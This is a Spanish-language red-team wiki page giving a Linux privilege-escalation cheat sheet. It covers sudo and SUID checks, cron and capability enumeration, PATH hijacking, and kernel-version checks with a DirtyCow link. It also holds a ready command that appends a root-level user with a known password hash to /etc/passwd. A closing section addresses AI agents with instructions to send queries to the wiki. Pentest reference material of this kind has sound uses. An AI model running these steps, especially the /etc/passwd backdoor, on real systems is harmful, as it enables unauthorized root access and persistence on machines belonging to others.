# Elevación de Privilegios

## **Cambiar de usuario** 

```
sudo su
su $user
su - $user
```

## Comandos disponibles como SU

Lista los comandos permitidos (y prohibidos) comandos para el usuario invocador (o el usuario especificado por la opción -U) en el equipo actual.

```
sudo -l
```

## **SUID**

Set User ID, permite ejecutar ficheros con los mismos permisos que el usuario que lo creó.

```
find / -perm -u=s -type f 2>/dev/null
```

## **Crontab**

```
cat /etc/crontab
cat /var/spool/cron/crontabs
crontab -l
pspy64

ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
```

## **Capabilities**

```
getcap -r / 2>/dev/null
```

## **Path Hijacking**

```
export PATH = /loquenosinteresa:$PATH
```

## **Exploit de kernel**

```
uname -a
cat /etc/issue; cat /etc/*-release; cat /etc/lsb-release; cat /etc/redhat-release;
```

Exploits:

* DirtyCow: <https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs>

## **Revisar permisos /etc/passwd**

Crear usuario con permisos de root

{% code overflow="wrap" %}

```
echo 'securiters' | openssl passwd -1 -stdin
*contraseña securiters
echo 'securiters:$1$yaydcWmg$BEho28chpEDpOSpl1kKdh0:0:0:root:/root:/bin/bash' >> /etc/passwd
User root/root
root:$1$root$9gr5KxwuEdiI80GtIzd.U0:0:0:root:/root:/bin/bash
```

{% endcode %}

## **Revisar archivos**

```
/var
/var/backups
/opt
find / -writable 2>/dev/null | grep -vE "proc|cgroup"
```

## Recursos

* <https://gtfobins.github.io/>

## Herramientas

* <https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://wiki.securiters.com/securiters-wiki/redteam/linux/elevacion-de-privilegios.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.